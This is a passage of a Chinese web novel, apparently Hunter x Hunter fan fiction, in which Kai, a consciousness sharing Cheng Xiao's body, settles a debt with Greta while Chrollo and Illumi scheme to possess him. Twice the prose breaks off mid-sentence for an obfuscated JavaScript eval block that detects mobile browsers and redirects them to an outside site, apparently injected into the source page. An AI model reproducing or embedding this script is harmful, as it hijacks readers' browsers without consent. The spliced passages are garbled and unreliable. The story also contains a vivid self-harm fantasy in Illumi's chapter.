“唔……”凯被迫发出了一个含糊的音节。脸颊被捏住的感觉很奇怪,不疼,但严重干扰了他对脸部肌肉的精确控制,也无法顺畅发声。 “躲在这种小屁孩身体里算什么本事?!”格雷塔一边捏,一边咬牙切齿地低吼,与其说是愤怒,更像是一种混合着无奈、担心和“看到债主混得这么惨反而更生气”的复杂情绪,“有本事你去附个肌肉壮汉啊!找个念能力高手啊!老娘就能跟你光明正大打一架,打赢了直接搜刮钱包抵债!” 凯的目光不由自主地飘忽了一下,试图避开格雷塔那过于灼人的瞪视。他试图用逻辑解释现状,但发现这个问题本身就超出了“控制”范畴。 “……”他沉默了几秒,终于在被捏着脸的情况下,艰难地组织出了一句完整的话,声音因脸颊变形而有些含糊:“……附身目标……非主观选择……” 格雷塔捏脸的动作顿住了。她仔细看了看凯的眼睛,那双眼睛里没有狡辩,只有一种陈述客观事实的平静,甚至还有一丝……对自己处境的坦然认知。 “?”格雷塔松开了手,但仍然保持着极具压迫感的俯视姿态,眉头拧成了疙瘩,“……意思是,你不能选?只能随机撞大运?” 凯揉了揉被捏得有点发红的脸颊,这个动作由他做来,带着一种研究身体反应般的认真,点了点头:“基本……正确。” 格雷塔:“……那你还挺惨?”她的语气从愤怒转为了一种难以置信的荒谬感。她想过很多种凯失踪的可能,但绝不包括“变成了随波逐流的幽灵,最后倒霉地附在一个战五渣少年身上”这种选项。 凯:“……………………” 他沉默了更长的时间。理性核心快速运转,却发现格雷塔这个基于同情(?)的结论,竟然无法找到有效的反驳论据。从结果和过程来看,他目前的处境,用“惨”来形容……似乎并无不妥。 这种“无法反驳”的感觉,让凯感到一种微妙的、陌生的滞涩感。他最终只是移开了视线,算是默认。 格雷塔看着“程笑”脸上那副与其年龄不符的、带着点认命般的平静表情,心头那股无名火突然就泄了一大半。她叹了口气,烦躁地抓了抓自己的头发。 “算了算了!”她挥挥手,像是要把这团乱麻扫开,但是看着“程笑”脸上那副与其年龄不符的、带着点认命般的平静表情,心头那股复杂的情绪翻滚着,最终某种更尖锐、更实际的东西压倒了同情。 她重新弯下腰,几乎要贴到凯的面前,伸出的食指因为压抑的激动而微微颤抖,几乎要戳到他的鼻尖,每一个字都像是从牙缝里迸出来的火星: “这些破事先放一边!” “我的尾款呢?!” 声音陡然拔高,带着被长久压抑后的爆发: “说好了会告诉我最后队友的去向!结果呢?!你直接消失了!而且还消失了这么久!!” 她像一头被彻底激怒的母龙,眼睛里烧着货真价实的怒火: “可恶可恶可恶——!信息的滞后性你懂不懂?!过时的情报就是垃圾!现在就算你告诉我,人都不一定还在那个坐标了!我最后那一个月,难道就他妈是给你打白工了吗?!” 这不仅仅是钱的问题。这是一个猎人最珍视的 “情报时效性” 被彻底浪费的愤怒,是她投入的时间、精力、以及那份对失踪队友的牵挂,都被对方“死亡失踪”这个简单粗暴的事实给轻飘飘地抹杀了的憋屈。 凯被这近距离的、充满火药味的质问震了一下。不是因为恐惧,而是因为格雷塔的愤怒指向了一个他之前评估债务时忽略的维度。 他的逻辑模型里,“尾款”是固定的金额或等价物。但他忽略了,对于情报工作者格雷塔而言,他承诺支付的“特定情报”本身具有强烈的时间敏感性。拖延,尤其是他这种“死亡”式的长期拖延,等同于交付了次品乃至废品。 这在他的“等价交换”原则里,属于严重的违约和信誉损伤。 凯的目光迅速垂落,避开了格雷塔那双燃烧的眼睛。这不是心虚,而是处理器在遭遇意外错误输入时的短暂离线,以及高速重新评估。 几秒钟的沉寂,只有格雷塔略显粗重的呼吸声。 然后,凯重新抬起眼,他的声音依旧平稳,但语速比平时快了一些,带着一种修正错误的郑重: “是我的疏忽。评估不完整。” 他清晰地承认错误,然后迅速提出修正方案: “原定‘情报支付’条款,因我的‘死亡’及长期失联,导致情报价值归零,构成根本性违约。” “因此,该项债务作废。你需要的是全新、有效、即时的情报,或等值的全新补偿。” 他顿了顿,给出了在当前条件下,他所能提供的、最有诚意的方案: “作为补偿,及对‘打白工’的弥补: 第一,我会立即动用现有资源,重新核实你那位队友‘萨恩’当前的最新状态和位置。这需要时间,但我会优先处理。 第二,在原尾款金额基础上,追加50%作为违约金,以情报、物资、或你认可的劳务形式支付。 第三,在你确认收到有效情报或等价补偿之前,我与程笑留在此处的‘劳务抵押’,不计入后续任何款项抵扣,视为纯粹的违约金偿付部分。” 他看着格雷塔,眼神里没有祈求,只有一种冷静的、重新建立契约公平性的认真: “这是目前我能提供的,最具操作性的补偿方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16910877|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 案。” “接受,还是你有其他优先诉求?” 格雷塔的怒火,被这一连串过于迅速、过于理性、又过于戳中要害的回应给噎住了一瞬。 她瞪着凯,胸口还在起伏,但脑子已经跟着他的提议转了起来。 作废原条款?追加50%违约金?优先核实现状?打工不算还钱只算赔罪? ……这混蛋老板,哪怕顶着小鬼的脸,用着快散架的身体,在这种事情上,倒是一点都没变。 还是那么该死的高效、精准、且懂得如何用最实际的利益来平息别人的怒火。 她绷着脸,沉默了好一会儿,似乎在权衡,又像是在消化这股复杂的情绪。 最终,她重重地“哼”了一声,直起了腰。 “行。”她甩出一个字,语气硬邦邦的,但火焰明显小了下去,“就按你说的。第一条,立刻、马上、优先去办!” 她指了指凯:“至于打工还债……哼,既然算赔罪,那训练强度可就不会像今天这么‘温柔’了!” 她转身朝吧台走去,背对着凯摆了摆手,声音依旧没好气,但多了点别的意味: “现在,给我好好‘休息’,恢复你那个破‘资源’!要是最后查不出萨恩的新消息……” 她回头,抛来一个“你懂的”眼神。 凯平静地点了点头:“明白。优先级已设定。” 危机暂时解除。 而格雷塔,在喷发完怒火后,似乎也找回了一点和这位前老板打交道的感觉——麻烦,憋气,但至少……他认账,而且解决问题的方式,直接得让人没脾气。 ————————另一边 库洛洛沿着走廊不疾不徐地走着,脸上优雅平静的面具没有丝毫裂痕,仿佛刚才那场尴尬又充满张力的对峙从未发生。 但他的思维,正以惊人的速度运转,冰冷而高效。 凯。那个头脑。那份冷静。那种将一切置于效率天平上衡量的绝对理性……本应是如此美丽的造物。 却被一个叫程笑的、吵闹的、满脑子奇怪坚持的、仿佛从另一个世界掉下来的杂质,给牢牢地、错误地捆绑在了一起。 这不仅仅是“得不到”的遗憾。这是一种 “目睹名画被泼上廉价颜料” 的、近乎美学层面上的冒犯。 怎么解决? 分离两者? 成功率低。介于目前的分离方法,杀死程笑后即使凯附身到自己脑中估计也不会为自己所用。 扭曲程笑的认知,使其接受或无视旅团的行事方式? 难度极高,程笑的“道德底线”似乎根植于其核心人格,且其能力与精神状态紧密相关,操作不当可能引发能力暴走。 削弱程笑对凯的“特殊性”? 从而让凯意识到程笑并非不可替代,或程笑本身会带来更多“麻烦”而非“价值”。 ……这样,程笑将不再构成阻碍。 库洛洛的脚步在走廊转角处微微一顿。 就在这个停顿的瞬间,一个冰冷、黑暗、却闪烁着奇异美感的念头,如同深海中突然亮起的掠食者的荧光,毫无征兆地刺破了他思维的迷雾。 “幸运。” 程笑能活到现在,靠的是什么? 是凯的计算?是。是他自己的能力?是。 但还有一种更隐晦、更难以量化的东西——运气。 是的,运气。或者说,是那种远超常理的、近乎蛮横的 “命运眷顾”。 程笑凭什么能一次次从绝境中挣脱?凭什么能在西索、伊尔迷、甚至整个旅团和揍敌客的视线下游走?凭什么……能“捡到”凯? 仅仅是能力和算计吗?不。不够。这之中有一种更微妙、更不讲道理的东西在起作用——仿佛整个世界都在某个关键时刻,为他让开了一条缝。 一种冰冷的、近乎愉悦的寒意,顺着库洛洛的脊椎缓缓爬升。 他想到了一个绝妙的主意。 一个优雅的主意。 如果……把他的‘幸运’抽走呢? 库洛洛的指尖,无意识地抚过手中具现出的《盗贼的极意》的书脊。厚重古朴的书页在他意念下无声翻动,最终停留在一页散发着不祥灰暗光芒的图案上。 那是一个他很少使用,但一直收藏着的能力——厄运虹吸。 效果:通过接触或取得媒介,缓慢汲取目标的“正面随机性”——通俗理解为幸运、机遇、关键时刻的好运,转化为自身可短暂支配的“命运偏移力”,或直接储存为加剧目标厄运的“不幸蓄能”。 限制:发动缓慢,需要持续施术或媒介维持;对气运极强的目标效果有限;被汲取者会逐渐变得“倒霉”,但过程是渐进的,不易立刻察觉。 代价:使用期间,自身也会一定程度上被“不幸”气息缠绕,需谨慎使用。 这不是一击致命的杀招。这是一种温水煮青蛙式的慢性毒杀。 让程笑在不知不觉中,开始遭遇各种“合理的意外”:精心策划的逃跑路线总会出现意外纰漏,关键的“赎买”代价会以更残酷的方式兑现,甚至连日常行动都会小事不断,消耗其精力和运势。 当程笑从“总能险死还生的麻烦小子”,逐渐变成一个“自身难保的累赘”时…… 凯的理性天平,是否会重新评估? 当保护程笑需要付出的代价指数级上升,而程笑本身带来的“麻烦”远超“价值”时…… 那份基于“亏欠”和“责任”的守护,在凯那套冰冷的效用计算公式里,还能维持多久? 库洛洛的唇角,勾起一丝极其细微、冰冷到令人骨髓发寒的弧度。 这并非出于憎恨,而是一种基于绝对理性推导出的、最有效的破局手段。 他不需要杀死程笑。他只需要让程笑 “自然”地、逐渐地,失去被凯如此珍视和保护的“资格”。 他几乎能想象出那幅画面: 程笑开始频繁地遭遇“小意外”——计划好的路线突然不通,关键的道具意外损坏,信任的人产生微妙的误解。这些小事会消耗他的精力,磨损他的镇定。 然后,在某个真正致命的关头——比如下一次被伊尔迷的念钉锁定,或是被旅团的成员围堵时——那根“救命稻草”,会以最讽刺的方式,恰好从他指尖滑落。 不是敌人变强了,只是他的“好运”,用光了。 当麻烦如影随形,当保护他需要付出不成比例的代价,当那份曾让凯不惜一切的“独特性”,被日复一日的“拖累”事实所覆盖…… 凯的理性,那颗美丽而冰冷的星辰,还会继续环绕着一颗不断带来灾厄的“霉运行星”旋转吗? 答案,几乎是必然的。 到了那时,凯将不再是“程笑的凯”。他将是一颗脱离了错误轨道、正在寻找新引力源的、无主的珍宝。 而库洛洛·鲁西鲁,会很乐意提供一个更稳定、更高效、也更符合其美学的“新轨道”。 这个计划如此精妙,如此切中要害,甚至带着一种命运本身的残酷诗意。 库洛洛拿出手机,给侠客发去信息,语调平静如常,仿佛只是要求一杯咖啡: “搜集程笑近期活动痕迹,重点寻找可能沾染其强烈个人气息的物品。头发、衣物、常用物品,皆可。” 发完信息,他望向窗外沉沉的夜色。 城市灯火在他深不见底的眼眸中明灭,映不出温度,只映出一片即将开始精密运作的、冰冷的期待。 凯,你说程笑是“干净”的,是“脆弱”的。 那么,当这份‘干净’被不断泼上泥点,当这份‘脆弱’开始反噬其身…… 你那套完美的理性,又会做出怎样的选择呢? 51.第 51 章 黑暗是养分。 伊尔迷·揍敌客站在房间中央,却像站在世界的断层里。月光淌不进来,声音渗不进来,连时间路过这里都自动变得黏稠缓慢。 他摊开掌心。 那具丑陋的、巴掌大的人偶躺在那里,像个被随手丢弃的编程错误。可它连接着凯——那个本该是他系统里最精妙的模块,现在却成了不断抛出异常值的bug。 最优解。 这个词像一枚冰冷的芯片,植入他的思考回路。 最初的想法很干净:让程笑死。管家动手,或者他自己来。然后,凯的意识会像断电后寻找最近电源的数据流,涌入最近的活体大脑。 如果是管家—— 伊尔迷的睫毛几不可察地垂低了一毫米。 凯可能会赖在管家脑子里。更糟的是,以凯的能力,他或许能反向编译管家的忠诚协议,把那具身体变成一具潜伏在家族内部的特洛伊木马。麻烦。需要额外的消杀程序。 如果是他自己—— 这个念头让某种近乎“顺畅”的感觉流过他的神经束。 干净。直接。绝对的所有权。凯会成为他脑内一段永远在线、无法被隔离或删除的高权限进程。他可以随时调用,或者仅仅……持有。 但他立刻又想到另一个路径:不杀程笑。 用念钉。就像给一段危险的代码套上沙箱。程笑的□□是牢笼,念钉是锁,而凯……是被关在里面的珍宝。通过控制牢笼来控制珍宝,逻辑成立。甚至,程笑本身的存在,就是牵制凯的最优变量。 逻辑核心飞快地计算着权重、概率、风险折损。 然后,在得出那个冰冷的数值结论之前—— 一股极其细微、却绝对不容忽视的干扰信号,强行切入了他的评估进程。 不是风险,不是效率。 是…… “讨厌”。 不是警报,不是错误提示。是更底层的东西——像精密钟表里混进的一粒沙。它不讲逻辑,不提供数据,只是存在在那里,磨损着每一个齿轮。 他试图解析它。 是因为程笑挑衅了家族?不,那属于可量化的“敌对值”,已计入模型。 是因为程笑这个载体劣质?不,那是“适配度”问题。 都不是。 是“自己的东西被锁在别人的柜子里”的那种感觉。 哪怕钥匙在他手里。 哪怕他知道只要拧动钥匙,柜子里的东西就会痛苦、会屈服。 可那柜子本身——程笑那张脸,那种眼神,那些疯癫的、不可预测的行为——光是“存在”这件事,就让他感到…… 冗余。 不洁。 错误。 这感觉毫无用处。它不优化流程,不降低风险,不提升掌控度。它只是像背景辐射一样存在着,干扰着他的绝对理性。 于是伊尔迷做了一件他很少做的事:他强行终止了这条计算线程。 不是因为逻辑不通。 而是因为,他“不想”。 这个认知让他停顿了半秒。仿佛系统突然发现自己拥有一个无法被编程的指令。 他低头,看向手中的人偶。 丑陋的,安静的,代表着“凯可能存在的另一种形态”的……物体。 如果程笑死了,凯进入他的大脑,然后再被导入这具人偶工作……时限到了又被迫回归…… 一个完美的、闭环的、他既是起点也是终点的循环。 凯永远在路上,却永远逃不出他的重力井。 这个想象带来一种冰冷的……愉悦。像证明了一道复杂的几何题,线条干净,逻辑完美。 可如果凯就是不出来呢? 如果他宁愿沉睡在那片意识的黑暗里,也不肯进入人偶,执行他赋予的指令? 那么伊尔迷得到的,不过是一个沉默的、不可观测的、也许正在内部默默腐化的……脑内幽灵。 这和失去有什么区别? 区别在于,他知道他在那里。 但这不够。 他要的不是“知道”。他要的是验证,是调用,是输出。他要看着那精妙的逻辑如何运转,看着那双冷静的眼睛如何为他分析局势,甚至——看着那具身体如何因他的指令而动作。 他要看见。 而能“看见”凯的唯一途径,似乎只剩下…… 伊尔迷抬起眼。 窗外,小镇的灯火在远处明明灭灭,像一堆杂乱的数据包。某一盏灯突然亮起,刺目的光如一把冰冷的匕首,劈开房间的黑暗,在他脸上划过一道转瞬即逝的苍白—— “最优解”的路径分析到了尽头,卡在最后一个死循环:如果凯拒绝进入他设计的“大脑-人偶”完美循环,而是选择永远沉默在他的意识深处,怎么办? 这不再是技术问题。这是意志的对峙。 伊尔迷的睫毛在黑暗中几不可察地颤动了一下,像精密仪器接收到了无法解析的乱码。 然后,一个念头——冰冷、绝美、如同钻石切割刀般锋利的念头——缓缓浮现在他绝对理性的海面上。 ……那就,一起去死好了。 不是普通的死。 是去森林最深处,腐叶堆积成山、蠕虫如同活着的淤泥般翻涌的地方。躺在那里,让那些苍白、柔软、没有眼睛的东西覆盖上来。 然后,切开自己的喉咙。 凯的意识会在瞬间被弹出,像断电后无处落脚的幽灵,被迫寻找最近的、温热的、正在吞噬他血肉的宿主—— 一条正在啃食伊尔迷·揍敌客尸体的蠕虫。 伊尔迷几乎能“看”到那个画面: 凯在黑暗中睁开“眼”(如果蠕虫有视觉的话),看到的第一个景象,就是伊尔迷那张苍白的、正在被无数同类蠕虫覆盖啃食的脸。近在咫尺,永恒对视。 然后是无尽的 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一种前所未有的、冰冷的战栗掠过伊尔迷的脊髓。 这不是恐惧。这是……极致的满足。 逻辑与偏执在此刻完成了终极的闭环。这个方案解决了一切问题: 这是凯永远无法逃离这个由伊尔迷之死定义的“场”。 这是属于他们的以一种比共生更彻底、更扭曲的方式“在一起”。 这是对凯“不配合”的终极裁决,也是对他被程笑“污染”状态的残酷净化——在蠕虫无尽的混沌中,那些无用的“自我意志”和“情感依恋”会被彻底磨灭吧? 多么平等的对称,用自己的“不存在”,换来了凯永恒的“无法逃脱”。一种充满死亡诗意的完美平衡。 他甚至开始思考细节:哪种森林的腐殖层最厚?哪种蠕虫的种群密度最高、生命周期最短(这样可以加快凯“轮回”的频率,缩短他任何可能适应或思考的间隙)?要不要提前服下让血肉更吸引蠕虫的药物? 这个念头如此清晰,如此完美,让他几乎要微笑了。 最终,所有的路径都汇聚于此, 没有第三条路。 伊尔迷缓缓呼出一口气,那气息在冰冷的房间里没有形成白雾,仿佛连热量都被他吸收回了体内。 他低头,最后看了一眼掌心那个丑陋的人偶。 现在,它看起来顺眼多了。 不过是一个载体。 而真正的解决方案,早已超越了对“载体”的依赖。 它直指存在本身。 窗外的灯光再次掠过,这次清晰地照亮了他眼中那片深不见底的黑暗。 完美的方案。 他想。 然后,将人偶轻轻放进口袋,转身,无声地融入了更深的阴影里。 52.第 52 章 训练终于结束了。 程笑把自己摔进床垫时,感觉自己像一袋被倒空的沙。每个关节都在呻吟,眼皮重得抬不起来。他连手指都不想动,只是张了张嘴,发出几个意义不明的音节: “……瘫了……化了……” 意识深处,凯“看到”那个代表着程笑的、熟悉的精神轮廓,此刻正软塌塌地摊在“地面”上,边界模糊,几乎要跟背景融在一起。 凯沉默了一会儿。 然后,他试着凝聚起一点意念,轻轻地、碰了碰那团软乎乎的意识边缘。 像是在说:知道了,辛苦了。 程笑的意识体被碰得微微一动,发出一个懒洋洋的、模糊的意念反馈:“……嗯……死透了……” 就这么瘫了大概十分钟,程笑才感觉自己找回了一点对肢体的控制权。他在被子里慢慢转过身,侧躺着,看向虚空——那是他和凯“对话”时习惯的方向。 “凯,”他声音还有点哑,“就你自己回来了?” 他顿了顿,补充道:“那个……‘外壳’呢?” 凯的声音在他脑海里响起,平静无波:“在伊尔迷那里。” 程笑眨了眨眼。 “他没扔?”他问,语气里没有惊讶,更像是在确认一个有点意外的发现。 凯:“嗯。” 程笑安静了几秒。这个信息并不难消化——凯能顺利回归,本身就说明那边没打算毁掉人偶。他只是没想到伊尔迷会留着。 “哦……”他拖长了音调,然后把脸往枕头里埋了埋,只露出半只眼睛,“所以他收着了啊。” 这话没什么特别的含义,就是一个陈述。 凯:“嗯。” 又是几秒的安静。房间里只有程笑渐渐平稳下来的呼吸声。 然后,程笑忽然低低地笑了一声。那笑声闷在枕头里,有点含糊,但很轻快。 “真行,”他嘀咕道,声音里带着点无可奈何,又有点说不清道不明的意味,“连那个丑东西都留着。” 他说这话时,脑子里闪过的不是什么“深情”或“套路”,而是一个非常具体、甚至有点好笑的画面——那个总是没什么表情、一身黑的伊尔迷·揍敌客,口袋里或房间里,放着个巴掌大的、丑兮兮的人偶。 就……挺怪的。 怪得让他有点想笑。 凯没有接话。他只是安静地“待”在那里,像一片沉静的背景。他能感觉到程笑情绪里那点细微的、放松的涟漪。 程笑又安静了一会儿,然后轻轻吐出一口气。 “算了,”他闭上眼,声音渐渐低下去,困意重新涌上来,“在就在吧……反正……” “我会拿回来的。” 后面的话含糊得听不清了。 凯听着他呼吸逐渐变得绵长均匀。 他依然保持着那种安静的、守护般的“存在”状态。没有戳碰,没有疑问,只是像夜晚本身一样,沉静地笼罩着那片疲惫而安稳的意识。 这样就很好。 —————————— 深夜,旅馆房间只亮着一盏台灯。 程笑的身体坐了起来,但那双眼睛里的神采截然不同——沉静、专注,带着一种近乎机械的精准。凯接管了控制权。 他需要信息。必须厘清脉络。 指尖在黑暗中无声拂过键盘,猎人执照划过感应区,幽蓝的荧光屏照亮了“程笑”沉静到近乎冷漠的脸庞。与白日那个咋咋呼呼的少年判若两人。 猎人内部网络的加密信息流涌入视线: 《NGL自治国边境·多起村庄人口离奇消失案报告(未公开)》 《卡丁国东南部原始森林·异常生态波动与疑似大型念兽活动迹象》 《多地偏远村庄发生集体失踪事件,现场无打斗痕迹》 ………… 信息繁杂,危机四伏的暗流在世界各处涌动。凯的眉头微微蹙起,指尖飞快筛选。他调动着全部数据处理能力,将每条信息与记忆库中关于“意识之偶”、“古代念具”、“灵魂迁移传说”的庞杂资料进行交叉比对。 没有。 没有直接关联。 没有能解释当前追捕强度的、足以构成“绝对威胁”的外部线索。 这不合理。 凯停下了动作,屏幕的光在他眼中明明灭灭。 以伊尔迷·揍敌客的行事逻辑——如果目标仅仅是通过控制程笑来“回收”自己,最优策略应是长期监视、静默等待、一击必中。如同蜘蛛结网,耐心才是顶级杀手的底色。 而眼下这几乎倾巢而出、步步紧逼的态势……规模太大了。透着一种异常的、近乎急切的压迫感。 这不像是在“捕捉”。 这更像是在……“确保某件事情必然发生”。 仿佛他们已经掌握了某种无论过程如何波折,最终都能锁定结果的、确定性的手段。 一个冰冷的念头,如同深水炸弹,在他绝对理性的思维深处轰然炸开—— 难道是…… 愿望。 那个与亚路嘉相关的、禁忌的、足以扭曲现实的终极力量。 凯的瞳孔几不可查地收缩了一下。 如果是那个……一切异常都能解释。那的确是可以超越一切变量、达成“绝对结果”的力量。揍敌客家族不惜一切代价追捕,也完全合理。 修长的手指再次落在键盘上,动作流畅得不带一丝犹豫,仿佛从未离开过那个位置。屏幕上的界面如同流水般切换,猎人内网的屏障被无声绕过,更深、更黑暗的通道在代码的裂隙中展开。 揍敌客家族内部网络。那座他无比熟悉、曾亲手参与加固、如今已成敌阵核心的钢铁堡垒。 防护架构果然更新了,变得更复杂、更刁钻,层层嵌套着致命的逻辑陷阱。但对于曾经的设计者之一而言,改变的只是皮肤与肌肉,骨骼依旧。他太熟悉那些隐藏在优雅界面下的、属于糜稽的思维惯性与安全偏好。 短暂的僵持后,一道极其细微的权限裂隙被创造、放大。并非暴力破解,而是像用原配钥匙,在锁芯略微锈蚀后,依然精准地拧开了那道沉重的门。 一份标注着《衍生研究·意识转移特性·最终实验报告》的文件,静静地躺在加密文件夹的最深处。 凯点开了它。 冰冷的实验数据、观察记录、基于大量间接证据的推演结论……一行行扫过他的视野。 当目光落在核心结论的那几行字时—— “……综上,结合历史案例交叉验证,目标意识体在原生载体死亡后,将遵循以下优先级进行迁移:1. 物理距离最近;2. 存在生命活性;3. 符合基本生命载体结构……” 凯的呼吸,在那一瞬间,彻底停止了。 不只是“愿望”。 是比愿望更冰冷、更残酷的——规则。 一个被他们通过实验反复验证、几乎确认无疑的、关于他自身存在方式的底层规则。 凯的呼吸,在寂静的房间里,几不可察地停了一瞬。 几乎不需要思考,答案便带着彻骨的寒意浮现出来。 疯狂。 建立在绝对冷静的规则推导之上的疯狂。 这很揍敌客。 凯缓缓向后,靠在了椅背上。 屏幕的冷光映着他毫无表情的脸,也映出他眼中那片急速冻结的深海。 这条规则简单、残酷、无法辩驳。它将他,将程笑,将他们两人诡异的共生关系,都压缩成了一个冰冷的物理学问题。 功利计算的结果清晰无误: 程笑存活,自己拥有稳定的宿主、一定程度的自主行动能力、以及与程笑之间独特的、高信任度的合作关系。这是目前可达成的最优生存与发展状态。 程笑死亡,自己被迫迁移到伊尔迷、或某个揍敌客管家脑中。失去所有自主性,成为被监控、被利用、甚至被“处理”的资产。 从生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16927865|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 存和效用最大化的角度,程笑的死亡是绝对不可接受的负面事件。 逻辑链清晰,坚固,无可动摇。 但就在这冰冷的结论之下,另一种更细微、更难以被“效用”完全量化的“噪音”,开始干扰他精密运转的思维回路。 程笑会死。 这个认知,像一根生锈的针,缓慢地刺入他理性构筑的防护层。 不是“任务目标失败”,不是“合作方损失”,不是“最优解被破坏”。 是 “程笑”——那个具体的人,会停止呼吸,停止心跳,停止用那种跳脱的、有时烦人却总是鲜活的语调说话,停止在累瘫时发出无意义的嘟囔,停止在紧张时下意识挠头,停止在想到馊主意时眼睛发亮…… 会彻底地、不可逆转地消失。 凯尝试将这个认知归类。是“重要资产损毁”带来的预期效益损失吗?是“长期合作习惯被打破”带来的适应成本吗?还是……某种更难以定义的、属于“程笑”这个独特变量消失后,世界将变得不同的……预感? 他发现自己无法将其完全纳入已有的功利计算。 私利? 这个词显得陌生而狭隘。但如果“私利”指的是“凯·希拉里昂”这个意识体不愿接受的状态,那么…… 他不愿寄生到伊尔迷的脑中。那意味着永恒的监控、可能的“融合”威胁、以及彻底丧失自我意志的未来。光是想象那种被禁锢在伊尔迷思维深处的感觉,就让他核心深处传来一阵近乎“抗拒”的波动。 他也不愿寄生到库洛洛或任何旅团成员的脑中。那意味着卷入更疯狂的漩涡,价值观的彻底冲突,以及成为纯粹工具的宿命。 他甚至不愿寄生到任何一个无辜的、陌生的路人脑中。那意味着将另一个人拖入这场灾难,意味着再次失去好不容易与程笑建立起的、某种近乎“平等”的联结,意味着回到最初那种随波逐流、与宿主无法沟通、只能旁观其人生的、孤寂的幽灵状态。 程笑是不同的。 这个认知如此清晰,甚至超越了一部分理性分析。 程笑知道他的存在,接受他的存在,甚至在某种意义上……需要他的存在。他们共享秘密,共担风险,在绝境中彼此支撑。程笑会对他吐槽,会依赖他的计算,也会在他回归时,露出那种松一口气的、安心的细微表情。 那是一种……归属感吗?还是一个“锚点”? 凯不确定。这些词汇对他来说过于感性,难以精确定义。 但他确定的是:程笑的死亡,不仅仅意味着“最优解”的崩塌。 它还意味着,那个会叫他“系统”、会跟他讨价还价、会累瘫成一团却依然相信他会回来、会在他面前毫无防备地展露疲惫和脆弱的……唯一的存在,将永远消失。 而他自己,将再次被抛入未知的、充满恶意的、孤独的漂流之中。 黑暗中,“程笑”的手指几不可察地蜷缩了一下,又缓缓松开。 凯操控着这具身体,极其缓慢地、做了一个深呼吸的动作——模仿人类的生理反应,试图平复那并不存在于□□,却真实震颤着他意识核心的某种波动。 担心。 是的,这是担心。 不仅仅是对“计划失败”或“处境恶化”的忧虑。 是更具体的、更尖锐的、指向那个名叫程笑的少年生命的——恐惧。 恐惧失去这个吵闹的、不按常理出牌的、却莫名让他感到自己还“存在”着的同伴。 他必须保护程笑。 这不只是出于功利计算。 这是出于……他自身存在意义的维系。 凯缓缓抬起眼,透过窗户,望向外面沉沉的、仿佛蕴藏着无数猎手的黑夜。 眼神依旧平静,深处却有什么东西悄然凝固,变得更加坚硬,更加决绝。 那么,接下来要做的,就是在死亡扳机被扣动之前…… 撕碎这张网。 无论代价是什么。 53.第 54 章 上午的阳光很好,透过咖啡馆精致的玻璃橱窗,被切割成七彩的光斑,跳跃在凯的人偶躯体上,为他那身繁复的服饰镀上一层虚幻的、近乎“岁月静好”的光晕。 对面的库洛洛·鲁西鲁靠在椅背里,饶有兴致地看了他一会儿。阳光落在他黑色的发梢和额头的逆十字上,让他看起来像个无害的、正在享受闲暇时光的俊美青年。 他忽然微微前倾,胳膊支在光洁的桌面上,手掌托着下巴,脸上浮起一丝浅浅的、洞悉一切的笑意: “…怪不得,”他声音不高,带着一种闲聊般的松弛,“伊尔迷总觉得,你和我很像。” 凯的目光掠过库洛洛,瞥向窗外街道对面——伊尔迷·揍敌客正站在那里接电话,侧脸在阳光下线条冷硬,与咖啡馆内的暖意格格不入。 “说些有价值的。”凯收回视线,声音通过人偶的机制发出,平稳无波,“他快回来了。” 库洛洛像是晒足了太阳的猫,惬意地眯了眯眼,金色的瞳孔在长睫下闪过一丝玩味:“你这次特意‘回来’,就只是为了这个?” 他意指这次危险的会面。 凯端起面前的咖啡杯,人偶的手指动作优雅却略显僵硬,他抿了一口——尽管这具身体尝不出味道。放下杯子时,他看向库洛洛,眼神里没有任何温度:“不然呢?难道我是专程来给伊尔迷·揍敌客做心理疏导的?” 库洛洛低低地笑了声,那笑声里听不出情绪:“…好吧。”他眨了眨眼,做出倾听的姿态,“请说。” 把你的“合作”提议,摊开来。我需要评估,是否值得入场。 凯没有绕任何弯子,他省去了所有试探和修辞,开门见山,直击核心: “你应该已经知道了伊尔迷的完整方案——在捕获程笑的瞬间杀死他,利用规则,让我强制附身到距离最近的、他预先设定好的容器中,大概率是他自己。” 库洛洛的嘴角依旧噙着那抹浅笑,轻轻颔首:“知道啊。”他语气轻松,仿佛在讨论天气,“然后呢?” 他的潜台词清晰:这只能证明你的情报获取能力尚可。仅凭“你知道我的对手想干什么”,还不足以让你坐上我的谈判桌。 凯看着对面青年那副游刃有余、甚至带着点漫不经心的姿态,人偶的脸上,嘴角极其缓慢地、向上拉开了一个细微的弧度。 那不是微笑。那更像是一种……理性的裂痕,一种冰冷的、疯狂的内核,正在撕开平静的表层,透出狰狞的一角。 “我知道你在盘算什么,库洛洛。”凯的声音压得很低,却字字清晰,如同冰锥敲击,“无非是确保在关键时刻,伊尔迷不会是‘距离程笑最近的人’。这样,他非但不会出手杀死程笑,反而会为了计划的完美,不得不全力保证程笑的存活,对吗?” 库洛洛挑了挑眉,没有否认:“这确实是我最初的备用思路之一。也是我之前找你‘聊聊’时,可能开出的条件——虽然没用上。”他身体微微后靠,姿态依旧放松,但眼神里的审视意味浓了一分,“然后呢?这只能证明,你确实有几分不错的推演能力。” 仅此而已。 库洛洛的身体,几不可查地坐正了一些。空气中那份“闲聊”的松弛感,正在悄然褪去。 